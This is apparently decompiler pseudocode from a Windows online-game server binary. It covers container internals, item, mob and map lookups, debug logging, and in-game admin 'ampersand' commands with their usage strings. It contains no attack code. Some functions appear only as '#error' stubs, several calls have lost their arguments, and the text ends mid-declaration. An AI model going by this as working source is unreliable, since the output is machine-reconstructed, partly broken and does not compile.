-------------------------------------------------------- void __thiscall std::vector>::_Destroy(std::vector > *this, AbnormalStateShelter::AbstateBuffer *_First, AbnormalStateShelter::AbstateBuffer *_Last) { AbnormalStateShelter::AbstateBuffer *i; // esi@1 for ( i = _First; i != _Last; ++i ) AbnormalStateShelter::AbstateBuffer::_AbstateBuffer(i); } //----- (00410190) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, AbnormalStateShelter::AbstateBuffer *_Val) { std::vector > *v4; // esi@1 unsigned int v5; // ecx@1 AbnormalStateShelter::AbstateBuffer *v6; // ebx@1 unsigned int v7; // ecx@1 signed int v8; // edx@2 unsigned int v9; // edi@3 int v10; // eax@5 int v11; // eax@10 int v12; // ecx@14 int v13; // eax@17 void *v14; // eax@21 void *v15; // ebx@21 AbnormalStateShelter::AbstateBuffer *v16; // ST18_4@21 int v17; // eax@21 int v18; // edi@23 AbnormalStateShelter::AbstateBuffer *v19; // eax@23 AbnormalStateShelter::AbstateBuffer *v20; // ecx@26 std::vector >::iterator v21; // ebx@26 AbnormalStateShelter::AbstateBuffer *v22; // ecx@27 AbnormalStateShelter::AbstateBuffer *v23; // ST24_4@27 unsigned int v24; // edi@27 int v25; // [sp+0h] [bp-38h]@1 unsigned int _Tmp; // [sp+Ch] [bp-2Ch]@1 std::vector > thisa; // [sp+10h] [bp-28h]@1 void *_Newvec; // [sp+20h] [bp-18h]@21 std::vector > *v29; // [sp+24h] [bp-14h]@1 int *v30; // [sp+28h] [bp-10h]@1 int v31; // [sp+34h] [bp-4h]@1 AbnormalStateShelter::AbstateBuffer *_Wherea; // [sp+40h] [bp+8h]@28 AbnormalStateShelter::AbstateBuffer *_Ptr; // [sp+44h] [bp+Ch]@21 int _Vala; // [sp+48h] [bp+10h]@21 AbnormalStateShelter::AbstateBuffer *_Valb; // [sp+48h] [bp+10h]@26 v4 = this; v5 = _Val->ab_Master; v30 = &v25; _Tmp = v5; v29 = v4; std::vector>::vector>( &thisa, &_Val->ab_List); v6 = v4->_Myfirst; v7 = 0; v31 = 0; if ( v6 ) { v8 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)v4->_Myend - (char *)v6)) >> 32) >> 3; v7 = v8 + ((unsigned int)v8 >> 31); } v9 = _Count; if ( _Count ) { if ( v6 ) v10 = v4->_Mylast - v6; else v10 = 0; if ( (unsigned int)((char *)&pathfindtable.pft_table[13][2358].pfc_distance - v10) < _Count ) std::vector>::_Xlen(v4); if ( v6 ) v11 = v4->_Mylast - v6; else v11 = 0; if ( v7 >= _Count + v11 ) { v20 = v4->_Mylast; v21 = _Where; _Valb = v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 20 >= _Count ) { _Wherea = &v20[-_Count]; v4->_Mylast = std::_Uninit_copy>( &v20[-_Count], v20, v20, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v20 - 20 * _Count)); std::_Copy_backward_opt( *(AbnormalStateShelter::AbstateBuffer **)&v21, _Wherea, _Valb, (std::_Nonscalar_ptr_iterator_tag)_Wherea); std::fill( *(AbnormalStateShelter::AbstateBuffer **)&v21, (AbnormalStateShelter::AbstateBuffer *)(*(_DWORD *)&v21 + 20 * _Count), (AbnormalStateShelter::AbstateBuffer *)&_Tmp); } else { std::_Uninit_copy>( *(AbnormalStateShelter::AbstateBuffer **)&_Where, v20, (AbnormalStateShelter::AbstateBuffer *)(*(_DWORD *)&_Where + 20 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v22 = v4->_Mylast; v23 = v4->_Mylast; LOBYTE(v31) = 3; std::vector>::_Ufill( v4, v23, _Count - (signed int)((char *)v22 - *(_DWORD *)&_Where) / 20, (AbnormalStateShelter::AbstateBuffer *)&_Tmp); v24 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (AbnormalStateShelter::AbstateBuffer *)v24; v31 = 0; std::fill( *(AbnormalStateShelter::AbstateBuffer **)&_Where, (AbnormalStateShelter::AbstateBuffer *)(v24 - 20 * _Count), (AbnormalStateShelter::AbstateBuffer *)&_Tmp); } } else { if ( (unsigned int)((char *)&pathfindtable.pft_table[13][2358].pfc_distance - (v7 >> 1)) >= v7 ) v12 = (v7 >> 1) + v7; else v12 = 0; if ( v6 ) v13 = v4->_Mylast - v6; else v13 = 0; if ( v12 < _Count + v13 ) v12 = _Count + std::vector>::size(v4); _Vala = 20 * v12; v14 = operator new(20 * v12); v15 = v14; v16 = v4->_Myfirst; _Newvec = v14; LOBYTE(v31) = 1; _Ptr = std::_Uninit_copy>( v16, *(AbnormalStateShelter::AbstateBuffer **)&_Where, (AbnormalStateShelter::AbstateBuffer *)v14, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Ptr, v9, (AbnormalStateShelter::AbstateBuffer *)&_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>( *(AbnormalStateShelter::AbstateBuffer **)&_Where, v4->_Mylast, &_Ptr[v9], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v17 = (int)v4->_Myfirst; v31 = 0; if ( v17 ) v17 = (signed int)((char *)v4->_Mylast - v17) / 20; v18 = v17 + v9; v19 = v4->_Myfirst; if ( v19 ) { std::vector>::_Destroy( v4, v19, v4->_Mylast); operator delete(v4->_Myfirst); } v4->_Myend = (AbnormalStateShelter::AbstateBuffer *)((char *)v15 + _Vala); v4->_Mylast = (AbnormalStateShelter::AbstateBuffer *)((char *)v15 + 20 * v18); v4->_Myfirst = (AbnormalStateShelter::AbstateBuffer *)v15; } } v31 = -1; std::vector>::_Tidy(&thisa); } //----- (004104A0) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, AbnormalStateShelter::AbstateBuffer *_Val) { std::vector > *v4; // edi@1 AbnormalStateShelter::AbstateBuffer *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 3; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n( this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (00410510) -------------------------------------------------------- void __thiscall std::vector>::_Tidy(std::vector > *this) { std::vector > *v1; // ebx@1 AbnormalStateShelter::AbstateBuffer *v2; // esi@1 AbnormalStateShelter::AbstateBuffer *i; // edi@2 v1 = this; v2 = this->_Myfirst; if ( v2 ) { for ( i = this->_Mylast; v2 != i; ++v2 ) AbnormalStateShelter::AbstateBuffer::_AbstateBuffer(v2); operator delete(v1->_Myfirst); } v1->_Myfirst = 0; v1->_Mylast = 0; v1->_Myend = 0; } //----- (00410560) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, AbnormalStateShelter::AbstateBuffer *_Val) { std::vector > *v2; // esi@1 AbnormalStateShelter::AbstateBuffer *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 AbnormalStateShelter::AbstateBuffer *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 3; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (004105F0) -------------------------------------------------------- void __thiscall NPCAction::Manager::Manager(AbnormalStateShelter::AbstateShelter *this) { this->as_Safe._Myfirst = 0; this->as_Safe._Mylast = 0; this->as_Safe._Myend = 0; } //----- (00410610) -------------------------------------------------------- AbnormalStateShelter::AbstateBuffer *__thiscall AbnormalStateShelter::AbstateShelter::operator__(AbnormalStateShelter::AbstateShelter *this, unsigned int regnum) { AbnormalStateShelter::AbstateShelter *v2; // esi@1 AbnormalStateShelter::AbstateBuffer *v3; // ecx@1 int v4; // ebx@1 unsigned int v5; // edi@1 int v6; // esi@6 unsigned int v7; // edi@7 int v8; // ebx@7 AbnormalStateShelter::AbstateBuffer *v9; // ecx@13 int v10; // eax@14 unsigned int tmp; // [sp+14h] [bp-20h]@13 int v13; // [sp+1Ch] [bp-18h]@13 int v14; // [sp+20h] [bp-14h]@13 int v15; // [sp+24h] [bp-10h]@13 int v16; // [sp+30h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateShelter::AbstateShelter::operator []"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateShelter::AbstateShelter::operator []"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->as_Safe._Myfirst; v4 = 0; v16 = 0; v5 = 0; while ( v3 && v5 < v2->as_Safe._Mylast - v3 ) { if ( v3[v4].ab_Master == regnum ) { v6 = (int)&v3[v5]; goto LABEL_17; } ++v5; ++v4; } v7 = 0; v8 = 0; while ( v3 && v7 < v2->as_Safe._Mylast - v3 ) { if ( v3[v8].ab_Master == -1 ) { v3[v7].ab_Master = regnum; v6 = (int)&v2->as_Safe._Myfirst[v7]; goto LABEL_17; } ++v7; ++v8; } v13 = 0; v14 = 0; v15 = 0; LOBYTE(v16) = 1; tmp = regnum; std::vector>::push_back( &v2->as_Safe, (AbnormalStateShelter::AbstateBuffer *)&tmp); v9 = v2->as_Safe._Myfirst; if ( v9 ) v10 = v2->as_Safe._Mylast - v9; else v10 = 0; v6 = (int)&v9[v10 - 1]; LABEL_17: --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateShelter::AbstateShelter::operator []"); return (AbnormalStateShelter::AbstateBuffer *)v6; } //----- (00410770) -------------------------------------------------------- #error "410770: undefined or illegal type '#331' (funcsize=40)" //----- (00410830) -------------------------------------------------------- void __thiscall Name3::Name3(Name3 *this, const char *str) { *(_QWORD *)&this->n3_name[4] = 0i64; *(_DWORD *)&this->n3_name[0] = 0; strncpy(this->n3_name, str, 0xCu); } //----- (00410860) -------------------------------------------------------- void __thiscall Name3::operator_(Name3 *this, const char *nm) { *(_QWORD *)&this->n3_name[4] = 0i64; *(_DWORD *)&this->n3_name[0] = 0; strncpy(this->n3_name, nm, 0xCu); } //----- (00410880) -------------------------------------------------------- void __thiscall Name4::Name4(Name4 *this, const char *str) { *(_QWORD *)&this->n4_name[8] = 0i64; *(_QWORD *)&this->n4_name[0] = 0i64; strncpy(this->n4_name, str, 0x10u); } //----- (004108B0) -------------------------------------------------------- int __thiscall ORToken::operator_(int this, int a2) { int result; // eax@1 *(_DWORD *)this = *(_DWORD *)a2; *(_DWORD *)(this + 4) = *(_DWORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); result = *(_DWORD *)(a2 + 16); *(_DWORD *)(this + 16) = result; return result; } //----- (004108E0) -------------------------------------------------------- void __thiscall ORToken::ORToken(ORToken *this, const char *str) { *(_QWORD *)&this->ort_Name[12] = 0i64; *(_QWORD *)&this->ort_Name[4] = 0i64; *(_DWORD *)&this->ort_Name[0] = 0; strncpy(this->ort_Name, str, 0x14u); } //----- (00410910) -------------------------------------------------------- char *__thiscall NameString::operator__(NameString *this, Name3 *a) { unsigned int v2; // eax@1 char *result; // eax@1 v2 = this->ns_point.mask & (this->ns_point.value + 1); this->ns_point.value = v2; result = (char *)this + 256 * v2; *(_QWORD *)result = *(_QWORD *)&a->n3_name[0]; *((_DWORD *)result + 2) = *(_DWORD *)&a->n3_name[8]; result[12] = 0; return result; } //----- (00410950) -------------------------------------------------------- void __thiscall AxialListMobSuicide::_AxialListMobSuicide(AxialListMobSuicide *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMobSuicide::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5986E4: using guessed type int (__thiscall *AxialListMobSuicide___vftable_)(AxialListMobSuicide *this, int, #331 *obj, int distancesquar); //----- (00410960) -------------------------------------------------------- AbnormalStateDictionary::AbState::AbStateStr *__thiscall AbnormalStateDictionary::AbState::as_FromName(AbnormalStateDictionary::AbState *this, char *sklname) { AbnormalStateDictionary::AbState *v2; // esi@1 int v3; // eax@1 AbnormalStateDictionary::AbState::AbStateStr *result; // eax@4 v2 = this; v3 = BTree::operator__(&this->as_BTreeID, sklname); if ( v3 == -1 ) LOWORD(v3) = -1; v3 = (unsigned __int16)v3; if ( v2->as_maxhandle >= (unsigned __int16)v3 ) { result = &v2->as_AbstateArray[v3]; } else { AssertClass::ac_AssertFail(&shineassert, "AbnormalStateDictionary::AbState::as_FromID : Invalid skill id", v3); result = 0; } return result; } //----- (004109C0) -------------------------------------------------------- SpecialItemIdent *__thiscall ItemDataBox::idb_SpecialItems(ItemDataBox *this) { return &this->idb_specialid; } //----- (004109D0) -------------------------------------------------------- unsigned __int16 __thiscall ItemDataBox::idb_2itemid(ItemDataBox *this, const char *itemindex) { unsigned int v2; // eax@1 v2 = BTree::operator__(&this->idb_btree, itemindex); if ( v2 == -1 ) LOWORD(v2) = -1; return v2; } //----- (004109F0) -------------------------------------------------------- ItemDataBox::ItemDataBoxIndex *__thiscall ItemDataBox::operator__(ItemDataBox *this, unsigned __int16 Itemid) { ItemDataBox::ItemDataBoxIndex *v2; // edi@2 unsigned __int16 v3; // cx@4 if ( Itemid >= this->idb_maxItemhandle || (v2 = &this->idb_index[Itemid]) == 0 || !v2->data ) return 0; v3 = v2->data->ID; if ( v3 != Itemid ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::operator [] :Invalid Item index", v3 + 10000 * Itemid); return 0; } return v2; } //----- (00410A60) -------------------------------------------------------- unsigned __int16 __thiscall MobDataBox::mdb_2MobID(MobDataBox *this, const char *mobindex) { unsigned int v2; // eax@1 v2 = BTree::operator__(&this->mdb_btree, mobindex); if ( v2 == -1 ) LOWORD(v2) = -1; return v2; } //----- (00410A80) -------------------------------------------------------- void __thiscall DebugLogging::DebugLogging(DebugLogging *this, char *filename) { char *v2; // esi@1 v2 = strcpy(this->dl_FileName, filename); *((_DWORD *)v2 + 64) = 0; EraseOldLogList(filename); v2[644] = 1; } //----- (00410AC0) -------------------------------------------------------- char *__thiscall DebugLogging::dl_MakeFileName(DebugLogging *this) { DebugLogging *v1; // edi@1 char *result; // eax@3 time_t timevar; // [sp+0h] [bp-4h]@1 timevar = (time_t)this; v1 = this; if ( DebugLogging::dl_ActivAll && this->dl_Activ ) { mysecond(&timevar); localtime(&timevar); sprintf(v1->dl_Date, "%04d%02d%02d"); sprintf(v1->dl_Time, "%02d:%02d:%02d"); sprintf(v1->dl_FullFileName, "%s%s%02d.txt"); result = v1->dl_FullFileName; } else { result = this->dl_FullFileName; this->dl_FullFileName[0] = 0; } return result; } // 5F493C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00410B70) -------------------------------------------------------- _iobuf *__thiscall DebugLogging::dl_FilePoint(DebugLogging *this) { DebugLogging *v1; // esi@1 _iobuf *result; // eax@1 _iobuf *v3; // eax@5 v1 = this; result = this->dl_FilePointer; if ( !result ) { if ( !*DebugLogging::dl_MakeFileName(this) ) { v1->dl_FilePointer = 0; return 0; } v3 = fopen(v1->dl_FullFileName, "a+"); v1->dl_FilePointer = v3; if ( !v3 ) return 0; fprintf(v3, "%s : "); result = v1->dl_FilePointer; } return result; } //----- (00410BD0) -------------------------------------------------------- DebugLogging *__thiscall DebugLogging::operator<<(DebugLogging *this, char *str) { DebugLogging *v2; // esi@1 char buf[256]; // [sp+4h] [bp-104h]@3 v2 = this; if ( DebugLogging::dl_ActivAll ) { if ( this->dl_Activ ) { sprintf(buf, "%.255s"); DebugLogging::dl_FilePoint(v2); if ( v2->dl_FilePointer ) fputs(buf, v2->dl_FilePointer); } } return v2; } // 5F493C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00410C50) -------------------------------------------------------- void __thiscall DebugLogging::operator<<(DebugLogging *this, DebugLineFeed *lf) { DebugLogging *v2; // esi@1 _iobuf *v3; // eax@4 v2 = this; if ( DebugLogging::dl_ActivAll && this->dl_Activ ) { if ( this->dl_FilePointer ) { v3 = DebugLogging::dl_FilePoint(this); fputc(10, v3); fflush(v2->dl_FilePointer); fclose(v2->dl_FilePointer); v2->dl_FilePointer = 0; } } } // 5F493C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00410CB0) -------------------------------------------------------- int __thiscall FieldMap::fm_IsBlock(int this, int x, int y, int (__thiscall *mbi_blockfunction)(_DWORD, _DWORD, _DWORD)) { return mbi_blockfunction(*(_DWORD *)(this + 20), x, y); } //----- (00410CD0) -------------------------------------------------------- char __thiscall FieldMap::fm_DropFilm(int this, char *scriptname) { return Movie::CinemaComplex::cc_DropFilm(*(Movie::CinemaComplex **)(this + 68), scriptname); } //----- (00410CE0) -------------------------------------------------------- int __thiscall VectorClass::VectorWithLength::vwl_GetLength(int this) { return *(_DWORD *)(this + 12); } //----- (00410CF0) -------------------------------------------------------- void __thiscall FieldMap::fm_ScriptInterrupt(int this, void (__thiscall *checkfunc)(ScriptInterrupt::ScriptInterruptManager *, ScriptInterrupt::InterruptHappenArgument *), ScriptInterrupt::InterruptHappenArgument *arg) { Movie::CinemaComplex::cc_ScriptInterrupt(*(Movie::CinemaComplex **)(this + 68), checkfunc, arg); } //----- (00410D00) -------------------------------------------------------- int __thiscall FieldMap::fm_GetFieldBonus(void *this) { return (int)((char *)this + 76); } //----- (00410D10) -------------------------------------------------------- char __thiscall CharacterPassiveList::cpl_IsLearn(CharacterPassiveList *this, unsigned __int16 skill) { return (this->cpl_Passive.bs_bitlist[skill / 8] & (unsigned __int8)(1 << skill % 8)) != 0; } //----- (00410D50) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_GetLayer(int this) { return *(_DWORD *)(this + 94); } //----- (00410D60) -------------------------------------------------------- MapInfo *__thiscall MapDataBox::operator__(MapDataBox *this, unsigned __int16 mapid) { MapInfo *result; // eax@2 if ( mapid < this->mdb_maxmapid ) result = this->mdb_index[mapid]; else result = 0; return result; } //----- (00410D80) -------------------------------------------------------- unsigned __int16 __thiscall MapDataBox::mdb_2mapid(MapDataBox *this, const char *mapindex) { return BTree::operator__(&this->mdb_btree, mapindex); } //----- (00410DA0) -------------------------------------------------------- void __thiscall AxialListDoorAction::_AxialListDoorAction(AxialListDoorAction *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListDoorAction::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 59875C: using guessed type int (__stdcall *AxialListDoorAction___vftable_)(int, int, int distancesquar); //----- (00410DB0) -------------------------------------------------------- void __thiscall PROTO_KQ_MAP_INFO::PROTO_KQ_MAP_INFO(PROTO_KQ_MAP_INFO *this) { *(_QWORD *)&this->MapBase.n3_name[4] = 0i64; *(_DWORD *)&this->MapBase.n3_name[0] = 0; *(_QWORD *)&this->MapName.n3_name[4] = 0i64; *(_DWORD *)&this->MapName.n3_name[0] = 0; } //----- (00410DD0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_LinktoSaveData(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]) { ShineObjectClass::ShinePlayer::sp_LinktoCurMapSaveData((int)sp); } //----- (00410DE0) -------------------------------------------------------- #error "410DE0: undefined or illegal type '#440' (funcsize=113)" //----- (00410F30) -------------------------------------------------------- WorldManagerSession *__thiscall SocketBundle::sb_GetSocket(SocketBundle *this) { signed int v1; // esi@1 char *v2; // edx@2 int v3; // eax@2 v1 = 0; while ( 1 ) { v2 = (char *)this + 264 * (this->sb_Pointer.mask & (this->sb_Pointer.value + 1)); this->sb_Pointer.value = this->sb_Pointer.mask & (this->sb_Pointer.value + 1); v3 = *((_DWORD *)v2 + 2); if ( v3 == 1 || v3 == 2 ) { if ( v2[264] ) break; } ++v1; if ( v1 >= 4 ) return (WorldManagerSession *)this->sb_SocketStr; } return &this->sb_SocketStr[this->sb_Pointer.value].socket; } //----- (00410F90) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)AmpersandCommand::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 5987D8: using guessed type int (__stdcall *AmpersandCommand___vftable_[3])(__int16 hnd); //----- (00410FB0) -------------------------------------------------------- int __thiscall std::basic_string_std::allocator>::compare(std::basic_string,std::allocator > *this, unsigned int _Off, unsigned int _N0, const char *_Ptr, unsigned int _Count) { std::basic_string,std::allocator > *v5; // esi@1 unsigned int v6; // edx@3 int v7; // ecx@6 int v8; // eax@9 int result; // eax@11 v5 = this; if ( this->_Mysize < _Off ) std::_String_base::_Xran(&this->baseclass_0.___u0.baseclass_0); v6 = _N0; if ( this->_Mysize - _Off < _N0 ) v6 = this->_Mysize - _Off; if ( !v6 ) goto LABEL_17; v7 = v6; if ( v6 >= _Count ) v7 = _Count; v8 = (int)(v5->_Myres < 0x10 ? &v5->_Bx : *(_DWORD *)&v5->_Bx._Buf[0]); result = strncmp((const char *)(v8 + _Off), _Ptr, v7); if ( !result ) { LABEL_17: if ( v6 >= _Count ) result = v6 != _Count; else result = -1; } return result; } //----- (00411030) -------------------------------------------------------- void __thiscall ListIter_AmpCmdArgument::_ListIter_AmpCmdArgument(ListIter_AmpCmdArgument *this) { ListIter_AmpCmdArgument *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIter_AmpCmdArgument::_vftable_; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ListIter_AmpCmdArgument::~ListIter_AmpCmdArgument"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ListIter_AmpCmdArgument::~ListIter_AmpCmdArgument"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ListIter_AmpCmdArgument::~ListIter_AmpCmdArgument"); v1->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; } // 598828: using guessed type int (__stdcall *ListIter_AmpCmdArgument___vftable_)(int ele, __int16 handle); // 5D4CA8: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (004110B0) -------------------------------------------------------- #error "4110B0: undefined or illegal type '#440' (funcsize=78)" //----- (004111F0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_AmpersandCommand(void *this, __int16 handle, int chat) { void *v3; // esi@1 char result; // al@2 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_AmpersandCommand"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_AmpersandCommand"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_BYTE *)(chat + 1) == 38 ) { if ( *(_BYTE *)chat > 0x64u ) { *(_BYTE *)chat = 100; *(_BYTE *)(chat + 101) = 0; } (*(void (__thiscall **)(void *, int, _DWORD))(*(_DWORD *)v3 + 2312))(v3, chat + 1, *(_BYTE *)chat); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_AmpersandCommand"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_AmpersandCommand"); result = 0; } return result; } //----- (004112E0) -------------------------------------------------------- void __thiscall AmpersandCommand::_AmpersandCommand(AmpersandCommand *this) { AmpersandCommand *v1; // esi@1 void *v2; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)AmpersandCommand::_vftable_; _eh_vector_destructor_iterator_( this->ac_command, 0x28u, 256, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->baseclass_0.vfptr = (ListVtbl *)AmpersandCommand::_vftable_; v2 = v1->baseclass_0.l_Array; if ( v2 ) operator delete__(v2); } // 5987D8: using guessed type int (__stdcall *AmpersandCommand___vftable_[3])(__int16 hnd); //----- (00411350) -------------------------------------------------------- #error "411350: undefined or illegal type '#440' (funcsize=30)" //----- (004113F0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_TempLinkUsage(AmpersandCommand *this, #440 *sp) { AmpersandCommand *v2; // esi@1 v2 = this; AmpersandCommand::ac_wall( this, sp, "usage : &templink [ []]"); AmpersandCommand::ac_wall( v2, sp, "ex : &mobbreed 10 Rou Rou 7828 4325 1 150 0"); AmpersandCommand::ac_wall(v2, sp, "note : Permanantly change if linknumber is large then 10000"); AmpersandCommand::ac_wall(v2, sp, " : Gate Close if linknumber is -1"); } //----- (00411430) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_MobBreedUsage(AmpersandCommand *this, #440 *sp) { AmpersandCommand *v2; // esi@1 v2 = this; AmpersandCommand::ac_wall( this, sp, "usage : &mobbreed [ [ []]]"); AmpersandCommand::ac_wall( v2, sp, "ex : &mobbreed Slime 3 0 n 1 - - 2"); } //----- (00411460) -------------------------------------------------------- int __thiscall AmpersandCommand::ac_Scanf(AmpersandCommand *this, char *buf) { int v2; // esi@1 AmpersandCommand *num; // [sp+0h] [bp-4h]@1 num = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_Scanf"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_Scanf"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; sscanf(buf, "%d"); v2 = (int)num; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_Scanf"); return v2; } //----- (004114E0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_Store(AmpersandCommand *this, char *cmd, int adlev, void (__thiscall *func)(AmpersandCommand *, unsigned __int16, #440 *, int, char (*)[33])) { unsigned __int16 v4; // ax@1 int v5; // esi@2 int v6; // esi@7 int v7; // [sp+18h] [bp+10h]@0 int v8; // [sp+1Ch] [bp+14h]@0 int v9; // [sp+20h] [bp+18h]@0 v4 = this->baseclass_0.l_Finger.empty; if ( v4 == -1 ) v5 = 0; else v5 = ((int (__stdcall *)(unsigned __int16))this->baseclass_0.vfptr->l_AllocZ)(v4); if ( v5 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "Too many AmpersandCommand", 0); ShineExit("AmpersandCommand::ac_Store"); } *(_DWORD *)(v5 + 16) = 0; *(_DWORD *)(v5 + 12) = 0; *(_DWORD *)(v5 + 8) = 0; *(_DWORD *)(v5 + 4) = 0; *(_DWORD *)v5 = 0; strncpy((char *)v5, cmd, 0x14u); *(_DWORD *)(v5 + 20) = adlev; v6 = v5 + 24; *(_DWORD *)v6 = func; *(_DWORD *)(v6 + 4) = v7; *(_DWORD *)(v6 + 8) = v8; *(_DWORD *)(v6 + 12) = v9; } // 4114E0: inconsistent function type and number of purged bytes //----- (00411570) -------------------------------------------------------- #error "411570: undefined or illegal type '#440' (funcsize=67)" //----- (00411670) -------------------------------------------------------- #error "411670: undefined or illegal type '#440' (funcsize=48)" //----- (00411730) -------------------------------------------------------- #error "411730: undefined or illegal type '#440' (funcsize=39)" //----- (004117E0) -------------------------------------------------------- #error "4117E0: undefined or illegal type '#440' (funcsize=50)" //----- (004118C0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_ServerIndex(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // esi@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_SrverIndex"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_SrverIndex"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; AmpersandCommand::ac_wall(v5, sp, "20110210-USA[dev]Release-0-"); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_SrverIndex"); } //----- (00411960) -------------------------------------------------------- #error "411960: undefined or illegal type '#440' (funcsize=180)" //----- (00411BE0) -------------------------------------------------------- #error "411BE0: undefined or illegal type '#440' (funcsize=111)" //----- (00411D60) -------------------------------------------------------- #error "411D60: undefined or illegal type '#440' (funcsize=80)" //----- (00411EB0) -------------------------------------------------------- void __thiscall 